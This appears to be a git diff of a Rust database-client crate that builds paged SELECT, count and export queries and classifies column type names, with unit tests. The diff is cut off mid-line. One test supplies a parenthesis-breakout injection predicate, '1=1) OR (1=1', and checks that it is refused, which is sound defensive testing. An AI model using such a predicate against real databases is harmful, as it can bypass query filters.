mode 100644 index 0000000000..0c45117b07 --- /dev/null +++ b/linux/crates/core/src/browse/select_parts.rs @@ -0,0 +1,109 @@ +use crate::column::ColumnInfo; +use crate::dialect::SqlDialect; +use crate::dml::{BuildSqlError, KeyComponent, key_components}; +use crate::meta::{RowIdentity, TableRef}; + +use super::{BrowseSqlError, SortKey}; + +/// The visible select list: one projection per column, so the read +/// form each column needs is honoured. +pub(super) fn projection_list(dialect: &dyn SqlDialect, columns: &[ColumnInfo]) -> Result { + if columns.is_empty() { + return Err(BrowseSqlError::NoColumns); + } + Ok(columns + .iter() + .map(|column| dialect.projection(column)) + .collect::>() + .join(", ")) +} + +/// The identity's parts, or none for a table where nothing names a +/// row. Browsing such a table is fine; only editing it is not. +pub(super) fn identity_components<'a>( + identity: &RowIdentity, + columns: &'a [ColumnInfo], +) -> Result>, BrowseSqlError> { + match identity { + RowIdentity::Unordered => Ok(Vec::new()), + _ => Ok(key_components(identity, columns)?), + } +} + +/// The ORDER BY terms the user asked for. +pub(super) fn user_order( + dialect: &dyn SqlDialect, + table: &TableRef, + columns: &[ColumnInfo], + sort: &[SortKey], +) -> Result, BrowseSqlError> { + sort.iter() + .map(|key| { + let column = columns + .get(key.column) + .ok_or(BrowseSqlError::UnknownSortColumn(key.column))?; + Ok(format!( + "{} {}", + dialect.sort_expression(table, column), + direction(key.ascending) + )) + }) + .collect() +} + +/// The identity as sort expressions, in key order, leaving out a part +/// that has no ordering of its own. +pub(super) fn identity_order( + dialect: &dyn SqlDialect, + table: &TableRef, + components: &[KeyComponent<'_>], +) -> Result, BrowseSqlError> { + components + .iter() + .filter_map(|component| match component { + KeyComponent::Column(column) => Some(Ok(dialect.sort_expression(table, column))), + KeyComponent::EngineRowId(part) if part.orders_rows() => { + Some(dialect.engine_row_id_column(*part).ok_or(BuildSqlError::NoRowIdentity)) + } + KeyComponent::EngineRowId(_) => None, + }) + .collect::, _>>() + .map_err(BrowseSqlError::from) +} + +/// The user's order with the identity appended as a tiebreak, so equal +/// sort values still come back in one order every time. An expression +/// the user already sorts by is not repeated: SQL Server refuses a +/// column named twice in ORDER BY. +pub(super) fn with_tiebreak(user: Vec, identity: &[String]) -> Vec { + let mut terms = user; + for expression in identity { + let already = terms + .iter() + .any(|term| term.rsplit_once(' ').is_some_and(|(sorted, _)| sorted == expression)); + if !already { + terms.push(format!("{expression} {}", direction(true))); + } + } + terms +} + +pub(super) fn direction(ascending: bool) -> &'static str { + if ascending { "ASC" } else { "DESC" } +} + +/// `WHERE` with each condition in parentheses, or nothing when there +/// are none. +pub(super) fn where_clause(conditions: &[String]) -> String { + match conditions { + [] => String::new(), + [only] => format!(" WHERE {only}"), + many => format!( + " WHERE {}", + many.iter() + .map(|condition| format!("({condition})")) + .collect::>() + .join(" AND ") + ), + } +} diff --git a/linux/crates/core/src/browse/sort_key.rs b/linux/crates/core/src/browse/sort_key.rs new file mode 100644 index 0000000000..e2f056e06f --- /dev/null +++ b/linux/crates/core/src/browse/sort_key.rs @@ -0,0 +1,7 @@ +/// One column the user sorted the grid by. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct SortKey { + /// Position in the table's columns. + pub column: usize, + pub ascending: bool, +} diff --git a/linux/crates/core/src/browse/split_page.rs b/linux/crates/core/src/browse/split_page.rs index 7a38472331..b3149ad377 100644 --- a/linux/crates/core/src/browse/split_page.rs +++ b/linux/crates/core/src/browse/split_page.rs @@ -1,19 +1,17 @@ use crate::query_result::QueryResult; use crate::value::Value; -use super::{BrowsePage, BrowseSqlError, RowKeyLayout}; +use super::{BrowsePage, BrowseSqlError, PageSpec, RowKeyLayout}; /// Take a page apart into what the user sees and what names each row. /// /// The hidden row-id columns stop here. Everything downstream, the /// grid, export, copy and the insert preview, only ever gets the /// visible ones. -pub fn split_page( - result: QueryResult, - visible_columns: usize, - layout: &RowKeyLayout, -) -> Result { - let expected = visible_columns + layout.hidden_count(); +pub fn split_page(result: QueryResult, spec: &PageSpec) -> Result { + let visible_columns = spec.visible_columns(); + let layout = &spec.row_key; + let expected = spec.layout.width(); if result.columns.len() != expected { return Err(BrowseSqlError::ShapeMismatch { expected, @@ -74,22 +72,41 @@ fn is_readable(value: &Value) -> bool { mod tests { use std::sync::Arc; - use crate::column::{CatalogType, ColumnKind, ColumnType, IntegerKind, ReadForm, ResultColumn, SqlTypeExpr}; - use crate::meta::EngineRowIdPart; + use crate::column::{ColumnKind, ColumnType, IntegerKind, IntegerWidth, ReadForm, ResultColumn}; + use crate::meta::{EngineRowIdPart, PageCost, PageStability}; + use crate::statement::StatementBuilder; use crate::value::{UndecodableReason, UndecodedValue}; + use super::super::PageLayout; use super::*; + fn spec(visible: usize, row_key: RowKeyLayout) -> PageSpec { + PageSpec { + statement: StatementBuilder::new().finish(), + layout: PageLayout::new(visible, row_key.hidden_count()), + row_key, + stability: PageStability::Stable, + cost: PageCost::KeySeek, + } + } + + fn split(page: QueryResult, visible: usize, row_key: RowKeyLayout) -> Result { + split_page(page, &spec(visible, row_key)) + } + fn column(name: &str) -> ResultColumn { ResultColumn::new( name, - ColumnType::new( - SqlTypeExpr::from_catalog_text("integer"), - ColumnKind::Integer(IntegerKind::I32), - CatalogType::Oid(23), - false, - ReadForm::Native, - ), + ColumnType { + name: "integer".to_owned(), + kind: ColumnKind::Integer(IntegerKind { + width: IntegerWidth::W32, + signed: true, + }), + catalog: None, + dynamic_storage: false, + read_form: ReadForm::Native, + }, ) } @@ -119,7 +136,7 @@ mod tests { parts: &[EngineRowIdPart::SqliteRowid], }; - let split = split_page(page, 1, &layout).expect("the page"); + let split = split(page, 1, layout).expect("the page"); assert_eq!(split.columns.len(), 1); assert_eq!(split.columns[0].name, "name"); @@ -135,7 +152,7 @@ mod tests { ); // The key is (id, tenant), which is not the column order. - let split = split_page(page, 3, &RowKeyLayout::Columns(vec![2, 0])).expect("the page"); + let split = split(page, 3, RowKeyLayout::Columns(vec![2, 0])).expect("the page"); assert_eq!(split.key(0), Some(&vec![Value::Int(7), Value::Int(1)])); assert_eq!(split.columns.len(), 3, "a column-keyed page hid a column"); @@ -145,7 +162,7 @@ mod tests { fn split_page_undecodable_key_is_not_editable() { let page = result(&["id", "name"], vec![vec![undecodable(), Value::Text("a".to_owned())]]); - let split = split_page(page, 2, &RowKeyLayout::Columns(vec![0])).expect("the page"); + let split = split(page, 2, RowKeyLayout::Columns(vec![0])).expect("the page"); assert_eq!(split.key(0), None, "a row whose key could not be read looked editable"); assert!(!split.has_editable_rows()); @@ -163,7 +180,7 @@ mod tests { parts: &[EngineRowIdPart::SqliteRowid], }; - let split = split_page(page, 1, &layout).expect("the page"); + let split = split(page, 1, layout).expect("the page"); assert_eq!(split.key(0), None); } @@ -176,7 +193,7 @@ mod tests { parts: &[EngineRowIdPart::SqliteRowid], }; - let error = split_page(page, 1, &layout).expect_err("a page missing its hidden column"); + let error = split(page, 1, layout).expect_err("a page missing its hidden column"); assert_eq!(error, BrowseSqlError::ShapeMismatch { expected: 2, found: 1 }); } @@ -185,7 +202,7 @@ mod tests { fn a_read_only_page_keeps_every_column_and_no_keys() { let page = result(&["a", "b"], vec![vec![Value::Int(1), Value::Int(2)]]); - let split = split_page(page, 2, &RowKeyLayout::ReadOnly).expect("the page"); + let split = split(page, 2, RowKeyLayout::ReadOnly).expect("the page"); assert_eq!(split.columns.len(), 2); assert_eq!(split.row_count(), 1); @@ -200,7 +217,7 @@ mod tests { parts: &[EngineRowIdPart::SqliteRowid], }; - let split = split_page(page, 1, &layout).expect("the page"); + let split = split(page, 1, layout).expect("the page"); assert_eq!(Arc::strong_count(&split.columns), 1); } diff --git a/linux/crates/core/src/browse/tests.rs b/linux/crates/core/src/browse/tests.rs new file mode 100644 index 0000000000..0c93bb1eed --- /dev/null +++ b/linux/crates/core/src/browse/tests.rs @@ -0,0 +1,488 @@ +use crate::column::{ + ColumnDefault, ColumnInfo, ColumnKind, ColumnType, IntegerKind, IntegerWidth, ReadForm, TextLength, +}; +use crate::dialect::{RecordedTarget, TestDialect, TestMarkers}; +use crate::filter::{Combinator, FilterOp, FilterRule, FilterSet, FilterValue}; +use crate::meta::{EngineRowId, EngineRowIdPart, PageCost, PagePosition, PageStability, RowIdentity, TableRef}; +use crate::query_result::QueryResult; +use crate::value::Value; + +use super::*; + +fn column(name: &str, kind: ColumnKind) -> ColumnInfo { + ColumnInfo { + name: name.to_owned(), + column_type: ColumnType { + name: "t".to_owned(), + kind, + catalog: None, + dynamic_storage: false, + read_form: ReadForm::Native, + }, + nullable: true, + primary_key: false, + is_auto_increment: false, + is_generated: false, + default: ColumnDefault::None, + comment: None, + } +} + +fn bigint() -> ColumnKind { + ColumnKind::Integer(IntegerKind { + width: IntegerWidth::W64, + signed: true, + }) +} + +fn columns() -> Vec { + vec![ + column("id", bigint()), + column( + "name", + ColumnKind::Text { + length: TextLength::Unbounded, + }, + ), + ] +} + +fn table() -> TableRef { + TableRef::new(Some("public".to_owned()), "users") +} + +fn by_id() -> RowIdentity { + RowIdentity::UniqueKey { + columns: vec!["id".to_owned()], + } +} + +fn adults() -> FilterSet { + FilterSet { + combinator: Combinator::Or, + rules: vec![ + FilterRule { + column: "id".to_owned(), + op: FilterOp::Gt, + value: Some(FilterValue::Single("18".to_owned())), + }, + FilterRule { + column: "name".to_owned(), + op: FilterOp::IsNull, + value: None, + }, + ], + extra_sql: None, + } +} + +struct Page { + identity: RowIdentity, + filter: FilterSet, + sort: Vec, + position: PagePosition, +} + +impl Page { + fn of(identity: RowIdentity) -> Self { + Self { + identity, + filter: FilterSet::default(), + sort: Vec::new(), + position: PagePosition::First, + } + } + + fn at(self, position: PagePosition) -> Self { + Self { position, ..self } + } + + fn filtered(self, filter: FilterSet) -> Self { + Self { filter, ..self } + } + + fn sorted(self, sort: Vec) -> Self { + Self { sort, ..self } + } + + fn build(&self, dialect: &TestDialect) -> Result { + let columns = columns(); + let table = table(); + build_page( + dialect, + &PageRequest { + table: &table, + columns: &columns, + filter: &self.filter, + sort: &self.sort, + identity: &self.identity, + position: &self.position, + limit: 50, + }, + ) + } +} + +fn built(page: &Page, dialect: &TestDialect) -> PageSpec { + match page.build(dialect) { + Ok(spec) => spec, + Err(error) => panic!("the page did not build: {error}"), + } +} + +#[test] +fn build_page_keyset_after_uses_row_value_after() { + let dialect = TestDialect::exact(); + let page = Page::of(by_id()).at(PagePosition::AfterKey(vec![Value::Int(40)])); + + let spec = built(&page, &dialect); + + assert_eq!( + spec.statement.sql(), + r#"SELECT "id", "name" FROM "public"."users" WHERE ("users"."id") > ($1) ORDER BY "users"."id" ASC LIMIT 50"# + ); + assert_eq!(spec.statement.params()[0].value(), &Value::Int(40)); + assert_eq!(dialect.targets(), vec![RecordedTarget::Column("id".to_owned())]); + assert_eq!(spec.stability, PageStability::Stable); + assert_eq!(spec.cost, PageCost::KeySeek); +} + +#[test] +fn a_keyset_page_backward_reverses_the_order_after_the_filter() { + let dialect = TestDialect::exact().with_markers(TestMarkers::Positional); + let page = Page::of(by_id()) + .filtered(adults()) + .at(PagePosition::BeforeKey(vec![Value::Int(40)])); + + let spec = built(&page, &dialect); + + assert_eq!( + spec.statement.sql(), + r#"SELECT "id", "name" FROM "public"."users" WHERE ("id" > ? OR "name" IS NULL) AND (("users"."id") < (?)) ORDER BY "users"."id" DESC LIMIT 50"# + ); + let values: Vec<_> = spec + .statement + .params() + .iter() + .map(|param| param.value().clone()) + .collect(); + assert_eq!( + values, + vec![Value::Int(18), Value::Int(40)], + "a positional marker took the wrong value" + ); +} + +#[test] +fn build_page_user_sort_appends_identity_tiebreak() { + let dialect = TestDialect::exact(); + let page = Page::of(by_id()) + .sorted(vec![SortKey { + column: 1, + ascending: false, + }]) + .at(PagePosition::Offset(100)); + + let spec = built(&page, &dialect); + + assert_eq!( + spec.statement.sql(), + r#"SELECT "id", "name" FROM "public"."users" ORDER BY "users"."name" DESC, "users"."id" ASC LIMIT 50 OFFSET 100"# + ); + assert_eq!(spec.stability, PageStability::Stable); + assert_eq!(spec.cost, PageCost::SortPerPage); +} + +#[test] +fn a_sort_on_the_key_itself_is_not_repeated_as_its_tiebreak() { + let page = Page::of(by_id()).sorted(vec![SortKey { + column: 0, + ascending: false, + }]); + + let spec = built(&page, &TestDialect::exact()); + + assert!( + spec.statement.sql().ends_with(r#"ORDER BY "users"."id" DESC LIMIT 50"#), + "{}", + spec.statement.sql() + ); +} + +#[test] +fn build_page_ctid_window_bounds() { + let dialect = TestDialect::exact(); + let page = Page::of(RowIdentity::EngineRowId(EngineRowId::PostgresCtid)).at(PagePosition::CtidWindow { + after: Some((3, 7)), + end_block: 10, + }); + + let spec = built(&page, &dialect); + + assert_eq!( + spec.statement.sql(), + r#"SELECT "id", "name", ctid AS "__tablepro_row_id", xmin AS "__tablepro_row_xmin" FROM "public"."users" WHERE ctid > $1 AND ctid < $2 ORDER BY ctid ASC LIMIT 50"# + ); + let bounds: Vec<_> = spec + .statement + .params() + .iter() + .map(|param| param.value().clone()) + .collect(); + assert_eq!( + bounds, + vec![Value::Text("(3,7)".to_owned()), Value::Text("(10,0)".to_owned())] + ); + assert_eq!( + dialect.targets(), + vec![ + RecordedTarget::EngineRowId(EngineRowIdPart::PostgresCtid), + RecordedTarget::EngineRowId(EngineRowIdPart::PostgresCtid), + ] + ); + assert_eq!(spec.cost, PageCost::BlockWindow); +} + +#[test] +fn the_first_ctid_window_has_only_its_upper_bound() { + let page = Page::of(RowIdentity::EngineRowId(EngineRowId::PostgresCtid)).at(PagePosition::CtidWindow { + after: None, + end_block: 4, + }); + + let spec = built(&page, &TestDialect::exact()); + + assert!( + spec.statement.sql().contains("WHERE ctid < $1 ORDER BY"), + "{}", + spec.statement.sql() + ); + assert_eq!(spec.statement.params().len(), 1); +} + +#[test] +fn build_count_reuses_filter_predicate() { + let dialect = TestDialect::exact(); + let filter = adults(); + + let count = build_count(&dialect, &table(), &columns(), &filter).expect("the count"); + let page = built(&Page::of(by_id()).filtered(filter), &TestDialect::exact()); + + assert_eq!( + count.sql(), + r#"SELECT COUNT(*) FROM "public"."users" WHERE "id" > $1 OR "name" IS NULL"# + ); + assert!( + page.statement.sql().contains(r#"WHERE "id" > $1 OR "name" IS NULL "#), + "the page and the count filter differently: {}", + page.statement.sql() + ); + assert_eq!(count.params(), page.statement.params()); +} + +#[test] +fn build_count_counts_with_the_dialects_expression() { + let dialect = TestDialect::exact().counting_with("COUNT_BIG(*)"); + + let count = build_count(&dialect, &table(), &columns(), &FilterSet::default()).expect("the count"); + + assert_eq!(count.sql(), r#"SELECT COUNT_BIG(*) FROM "public"."users""#); +} + +#[test] +fn build_page_layout_identity_follows_visible() { + let cases = [ + (by_id(), 0, RowKeyLayout::Columns(vec![0])), + ( + RowIdentity::EngineRowId(EngineRowId::SqliteRowid), + 1, + RowKeyLayout::EngineRowId { + first_hidden: 2, + parts: EngineRowId::SqliteRowid.parts(), + }, + ), + ( + RowIdentity::EngineRowId(EngineRowId::PostgresCtid), + 2, + RowKeyLayout::EngineRowId { + first_hidden: 2, + parts: EngineRowId::PostgresCtid.parts(), + }, + ), + ( + RowIdentity::EngineRowId(EngineRowId::PostgresTableoidCtid), + 3, + RowKeyLayout::EngineRowId { + first_hidden: 2, + parts: EngineRowId::PostgresTableoidCtid.parts(), + }, + ), + (RowIdentity::Unordered, 0, RowKeyLayout::ReadOnly), + ]; + + for (identity, hidden, row_key) in cases { + let spec = built(&Page::of(identity.clone()), &TestDialect::exact()); + + assert_eq!(spec.layout.visible, 0..2, "{identity:?}"); + assert_eq!(spec.layout.identity, 2..2 + hidden, "{identity:?}"); + assert_eq!(spec.row_key, row_key, "{identity:?}"); + assert_eq!(spec.visible_columns(), 2); + } +} + +#[test] +fn a_page_of_an_unkeyed_table_is_read_only_and_says_its_order_is_not_stable() { + let spec = built(&Page::of(RowIdentity::Unordered), &TestDialect::exact()); + + assert_eq!( + spec.statement.sql(), + r#"SELECT "id", "name" FROM "public"."users" LIMIT 50"# + ); + assert_eq!(spec.stability, PageStability::Unordered); + assert!(spec.row_key.is_read_only()); +} + +#[test] +fn a_sorting_key_orders_but_is_not_unique() { + let identity = RowIdentity::SortingKey { + expressions: vec!["name".to_owned()], + }; + + let spec = built(&Page::of(identity), &TestDialect::estimated()); + + assert!( + spec.statement + .sql() + .ends_with(r#"ORDER BY "users"."name" ASC LIMIT 50"#), + "{}", + spec.statement.sql() + ); + assert_eq!(spec.stability, PageStability::NonUniqueOrder); + assert_eq!(spec.row_key, RowKeyLayout::Columns(vec![1])); +} + +#[test] +fn a_position_the_mode_cannot_read_is_an_error() { + let ctid_after_key = Page::of(RowIdentity::EngineRowId(EngineRowId::PostgresCtid)) + .at(PagePosition::AfterKey(vec![Value::Text("(0,1)".to_owned())])); + let sorted_after_key = Page::of(by_id()) + .sorted(vec![SortKey { + column: 1, + ascending: true, + }]) + .at(PagePosition::AfterKey(vec![Value::Int(1)])); + + assert_eq!( + ctid_after_key.build(&TestDialect::exact()), + Err(BrowseSqlError::UnsupportedPosition { + mode: PagingMode::CtidWindow + }) + ); + assert_eq!( + sorted_after_key.build(&TestDialect::exact()), + Err(BrowseSqlError::UnsupportedPosition { + mode: PagingMode::Offset + }) + ); +} + +#[test] +fn a_keyset_anchor_must_be_a_whole_readable_key() { + let null = Page::of(by_id()).at(PagePosition::AfterKey(vec![Value::Null])); + let short = Page::of(by_id()).at(PagePosition::AfterKey(Vec::new())); + + assert_eq!(null.build(&TestDialect::exact()), Err(BrowseSqlError::NullAnchor)); + assert!(matches!( + short.build(&TestDialect::exact()), + Err(BrowseSqlError::Build(crate::dml::BuildSqlError::LengthMismatch { .. })) + )); +} + +#[test] +fn a_raw_predicate_saved_before_validation_is_refused_on_replay() { + let page = Page::of(by_id()).filtered(FilterSet { + extra_sql: Some("1=1) OR (1=1".to_owned()), + ..FilterSet::default() + }); + + assert!(matches!( + page.build(&TestDialect::exact()), + Err(BrowseSqlError::Filter(crate::filter::BuildFilterError::RawPredicate(_))) + )); +} + +#[test] +fn an_unknown_sort_column_is_an_error() { + let page = Page::of(by_id()).sorted(vec![SortKey { + column: 9, + ascending: true, + }]); + + assert_eq!( + page.build(&TestDialect::exact()), + Err(BrowseSqlError::UnknownSortColumn(9)) + ); +} + +#[test] +fn build_export_projects_only_visible_columns() { + let dialect = TestDialect::exact(); + let columns = columns(); + let identity = RowIdentity::EngineRowId(EngineRowId::PostgresTableoidCtid); + let filter = adults(); + let sort = [SortKey { + column: 1, + ascending: true, + }]; + + let statement = build_export( + &dialect, + &ExportRequest { + table: &table(), + columns: &columns, + filter: &filter, + sort: &sort, + identity: &identity, + }, + ) + .expect("the export"); + + let sql = statement.sql(); + let projection = sql + .strip_prefix("SELECT ") + .and_then(|rest| rest.split_once(" FROM ")) + .map(|(projection, _)| projection); + assert_eq!( + projection, + Some(r#""id", "name""#), + "an engine row id reached the export" + ); + assert_eq!( + sql, + r#"SELECT "id", "name" FROM "public"."users" WHERE "id" > $1 OR "name" IS NULL ORDER BY "users"."name" ASC, tableoid ASC, ctid ASC"# + ); +} + +#[test] +fn a_page_splits_into_keys_the_dml_can_bind_back() { + let dialect = TestDialect::exact(); + let identity = RowIdentity::EngineRowId(EngineRowId::SqliteRowid); + let spec = built(&Page::of(identity.clone()), &dialect); + let result = QueryResult { + columns: ["id", "name", "__tablepro_row_id"] + .iter() + .map(|name| crate::column::ResultColumn::new(*name, ColumnType::untyped_text("t"))) + .collect::>() + .into(), + rows: vec![vec![Value::Int(1), Value::Text("a".to_owned()), Value::Int(77)]], + truncated: false, + }; + + let page = split_page(result, &spec).expect("the page"); + let key = page.key(0).cloned().expect("an editable row"); + let delete = crate::dml::build_delete(&dialect, &table(), &columns(), &identity, &key).expect("the delete"); + + assert_eq!(page.columns.len(), 2, "the row id reached the grid"); + assert_eq!(delete.sql(), r#"DELETE FROM "public"."users" WHERE rowid = $1"#); + assert_eq!(delete.params()[0].value(), &Value::Int(77)); +} diff --git a/linux/crates/core/src/capabilities.rs b/linux/crates/core/src/capabilities.rs index 398c712bf0..6a7c6fc125 100644 --- a/linux/crates/core/src/capabilities.rs +++ b/linux/crates/core/src/capabilities.rs @@ -1,4 +1,4 @@ -use crate::connection::AuthMode; +use crate::auth_mode::AuthMode; use crate::meta::ObjectKind; use crate::tls_capabilities::TlsCapabilities; use crate::write_ledger::WriteAtomicity; diff --git a/linux/crates/core/src/column/catalog_type.rs b/linux/crates/core/src/column/catalog_type.rs new file mode 100644 index 0000000000..7eb7c2b8ef --- /dev/null +++ b/linux/crates/core/src/column/catalog_type.rs @@ -0,0 +1,12 @@ +use super::SqlTypeExpr; + +/// The server's own spelling of a column's type, from its catalogue. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct CatalogType { + /// The type as declared, modifiers included, for DDL: PostgreSQL + /// `format_type(atttypid, atttypmod)`, MySQL COLUMN_TYPE. + pub declaration: SqlTypeExpr, + /// The type a bound text parameter is cast to. It drops the + /// modifiers, because a cast to `varchar(10)` truncates silently. + pub cast_target: SqlTypeExpr, +} diff --git a/linux/crates/core/src/column/classify.rs b/linux/crates/core/src/column/classify.rs index 67683672f1..ab12bd8ed1 100644 --- a/linux/crates/core/src/column/classify.rs +++ b/linux/crates/core/src/column/classify.rs @@ -1,4 +1,10 @@ -use super::{ColumnKind, FloatKind, IntegerKind, TextKind}; +use super::{ + BoolStorage, ColumnKind, FloatWidth, IntegerKind, IntegerWidth, NetworkFamily, TemporalZone, TextLength, TimeRange, +}; + +/// Deeper than any type a catalogue reports, and shallow enough that a +/// hostile name cannot exhaust the stack. +const MAX_NESTING: usize = 32; /// What a type name means, for a driver that has nothing better. /// @@ -8,155 +14,489 @@ use super::{ColumnKind, FloatKind, IntegerKind, TextKind}; /// unrecognised name is `Other`, which round-trips as the server's own /// text rather than guessing. pub fn classify_type_name(name: &str) -> ColumnKind { - let lower = name.trim().to_ascii_lowercase(); - if lower.ends_with("[]") || lower.starts_with("array") { - return ColumnKind::Array; - } - // MySQL spells the unsigned integers as a suffix, which can come - // after the display width: `bigint(20) unsigned zerofill`. - let unsigned = lower.contains("unsigned"); - // A declared length or precision does not change what the column - // holds, so `varchar(255)` classifies as `varchar`. - let base = lower.split('(').next().unwrap_or(&lower).trim(); - let base = base.split_whitespace().next().unwrap_or(base); - - if let Some(kind) = integer_kind(base, unsigned) { + classify_nested(name.trim(), 0) +} + +/// Whether the server decides the stored width per row, so a declared +/// length is a cap rather than a promise. +pub fn has_dynamic_storage(kind: &ColumnKind) -> bool { + !matches!( + kind, + ColumnKind::Bool(_) + | ColumnKind::Integer(_) + | ColumnKind::Float(_) + | ColumnKind::Money { .. } + | ColumnKind::Date + | ColumnKind::Time { .. } + | ColumnKind::Timestamp { .. } + | ColumnKind::Uuid + ) +} + +fn classify_nested(text: &str, depth: usize) -> ColumnKind { + if depth > MAX_NESTING { + return ColumnKind::Other; + } + if let Some(element) = text.strip_suffix("[]") { + return array_of(classify_nested(element.trim_end(), depth + 1)); + } + let spelling = TypeSpelling::split(text); + let inner = || { + spelling + .arguments + .map_or(ColumnKind::Other, |inner| classify_nested(inner.trim(), depth + 1)) + }; + match spelling.base() { + // PostgreSQL's information_schema says only `ARRAY`. + "array" => array_of(inner()), + // ClickHouse wrappers that change nullability or storage, not + // what the column holds. + "nullable" | "lowcardinality" => inner(), + base => classify_base(base, &spelling), + } +} + +fn array_of(element: ColumnKind) -> ColumnKind { + ColumnKind::Array { + element: Box::new(element), + } +} + +fn classify_base(base: &str, spelling: &TypeSpelling<'_>) -> ColumnKind { + if let Some(kind) = integer_kind(base, spelling.is_unsigned()) { return ColumnKind::Integer(kind); } + let length = spelling.number(0); match base { - "bool" | "boolean" => ColumnKind::Boolean, - "decimal" | "numeric" | "money" | "smallmoney" | "dec" | "fixed" => ColumnKind::Decimal, - "real" | "float4" | "float32" => ColumnKind::Float(FloatKind::F32), - "double" | "float" | "float8" | "float64" => ColumnKind::Float(FloatKind::F64), - "char" | "character" | "nchar" | "bpchar" | "fixedstring" => ColumnKind::Text(TextKind::Fixed), - "text" | "ntext" | "longtext" | "mediumtext" | "tinytext" | "clob" => ColumnKind::Text(TextKind::Large), - "varchar" | "nvarchar" | "varchar2" | "string" | "name" => ColumnKind::Text(TextKind::Variable), - "bytea" | "blob" | "binary" | "varbinary" | "longblob" | "mediumblob" | "tinyblob" | "image" => { - ColumnKind::Binary - } - "date" => ColumnKind::Date, - "time" | "timetz" => ColumnKind::Time, - "timestamp" | "timestamptz" | "datetime" | "datetime2" | "datetime64" | "smalldatetime" => { - ColumnKind::Timestamp - } + "bool" | "boolean" => ColumnKind::Bool(BoolStorage::Native), + "decimal" | "numeric" | "dec" | "fixed" => ColumnKind::Decimal { + precision: length, + // `numeric(10)` is `numeric(10,0)`. + scale: spelling.number(1).or(length.map(|_| 0)), + }, + "decimal32" => clickhouse_decimal(9, length), + "decimal64" => clickhouse_decimal(18, length), + "decimal128" => clickhouse_decimal(38, length), + "decimal256" => clickhouse_decimal(76, length), + "money" | "smallmoney" => ColumnKind::Money { scale: None }, + "real" | "float4" | "float32" => ColumnKind::Float(FloatWidth::F32), + "double" | "float" | "float8" | "float64" => ColumnKind::Float(FloatWidth::F64), + "char" | "character" | "nchar" | "national" | "bpchar" | "fixedstring" => character(base, spelling), + "varchar" | "nvarchar" | "varchar2" | "nvarchar2" | "string" | "name" => ColumnKind::Text { + length: varying(length), + }, + "text" | "ntext" | "longtext" | "mediumtext" | "tinytext" | "clob" => ColumnKind::Text { + length: TextLength::Unbounded, + }, + "bytea" | "blob" | "longblob" | "mediumblob" | "tinyblob" | "image" => ColumnKind::Bytes { + length: TextLength::Unbounded, + }, + "binary" => ColumnKind::Bytes { + length: TextLength::Fixed(length.unwrap_or(1)), + }, + "varbinary" => ColumnKind::Bytes { + length: varying(length), + }, + "date" | "date32" => ColumnKind::Date, + "time" | "timetz" => ColumnKind::Time { + fractional_digits: spelling.fractional_digits(), + with_offset: base == "timetz" || spelling.has_time_zone(), + range: TimeRange::TimeOfDay, + }, + "timestamp" | "timestamptz" | "datetimeoffset" => ColumnKind::Timestamp { + fractional_digits: spelling.fractional_digits(), + zone: if base != "timestamp" || spelling.has_time_zone() { + TemporalZone::Offset + } else { + TemporalZone::Naive + }, + }, + "datetime" | "datetime2" | "datetime64" | "smalldatetime" => ColumnKind::Timestamp { + fractional_digits: spelling.fractional_digits(), + zone: spelling + .quoted_arguments() + .into_iter() + .next() + .map_or(TemporalZone::Naive, TemporalZone::Named), + }, "interval" => ColumnKind::Interval, "uuid" | "uniqueidentifier" => ColumnKind::Uuid, - "json" | "jsonb" => ColumnKind::Json, - "enum" => ColumnKind::Enumeration, - "set" => ColumnKind::Set, - "bit" | "varbit" => ColumnKind::BitString, - "inet" | "cidr" | "macaddr" | "macaddr8" | "ipv4" | "ipv6" => ColumnKind::Network, - "geometry" | "geography" | "point" | "polygon" | "linestring" => ColumnKind::Geometry, + "json" => ColumnKind::Json { binary: false }, + "jsonb" => ColumnKind::Json { binary: true }, + "enum" | "enum8" | "enum16" | "set" => ColumnKind::Enum { + labels: spelling.quoted_arguments(), + multiple: base == "set", + }, + "bit" | "varbit" => ColumnKind::BitString { + length, + varying: base == "varbit" || spelling.has_word("varying"), + }, + "inet" => ColumnKind::Network(NetworkFamily::Inet), + "cidr" => ColumnKind::Network(NetworkFamily::Cidr), + "macaddr" => ColumnKind::Network(NetworkFamily::MacAddr), + "macaddr8" => ColumnKind::Network(NetworkFamily::MacAddr8), + "ipv4" => ColumnKind::Network(NetworkFamily::Ipv4), + "ipv6" => ColumnKind::Network(NetworkFamily::Ipv6), + "xml" => ColumnKind::Xml, + "geometry" | "geography" | "point" | "linestring" | "polygon" | "multipoint" | "multilinestring" + | "multipolygon" | "geometrycollection" => ColumnKind::Spatial, + "map" | "tuple" | "nested" | "dynamic" | "aggregatefunction" => ColumnKind::Composite, + "variant" | "sql_variant" => ColumnKind::Variant, _ => ColumnKind::Other, } } fn integer_kind(base: &str, unsigned: bool) -> Option { - let signed = match base { - "tinyint" | "int1" => IntegerKind::I8, - "smallint" | "int2" | "smallserial" => IntegerKind::I16, - "mediumint" | "int" | "integer" | "int4" | "serial" => IntegerKind::I32, - "bigint" | "int8" | "bigserial" => IntegerKind::I64, - "int128" => IntegerKind::I128, - "uint8" => return Some(IntegerKind::U8), - "uint16" => return Some(IntegerKind::U16), - "uint32" => return Some(IntegerKind::U32), - "uint64" => return Some(IntegerKind::U64), - "uint128" => return Some(IntegerKind::U128), + let (width, signed) = match base { + "tinyint" | "int1" => (IntegerWidth::W8, !unsigned), + "smallint" | "int2" | "smallserial" | "int16" => (IntegerWidth::W16, !unsigned), + "mediumint" => (IntegerWidth::W24, !unsigned), + "int" | "integer" | "int4" | "serial" | "int32" => (IntegerWidth::W32, !unsigned), + "bigint" | "int8" | "bigserial" | "int64" => (IntegerWidth::W64, !unsigned), + "int128" => (IntegerWidth::W128, !unsigned), + "int256" => (IntegerWidth::W256, !unsigned), + "uint8" => (IntegerWidth::W8, false), + "uint16" => (IntegerWidth::W16, false), + "uint32" => (IntegerWidth::W32, false), + "uint64" => (IntegerWidth::W64, false), + "uint128" => (IntegerWidth::W128, false), + "uint256" => (IntegerWidth::W256, false), _ => return None, }; - Some(match (signed, unsigned) { - (IntegerKind::I8, true) => IntegerKind::U8, - (IntegerKind::I16, true) => IntegerKind::U16, - (IntegerKind::I32, true) => IntegerKind::U32, - (IntegerKind::I64, true) => IntegerKind::U64, - (IntegerKind::I128, true) => IntegerKind::U128, - (kind, _) => kind, - }) + Some(IntegerKind { width, signed }) } -/// Whether the server decides the stored width per row, so a declared -/// length is a cap rather than a promise. -pub fn has_dynamic_storage(kind: 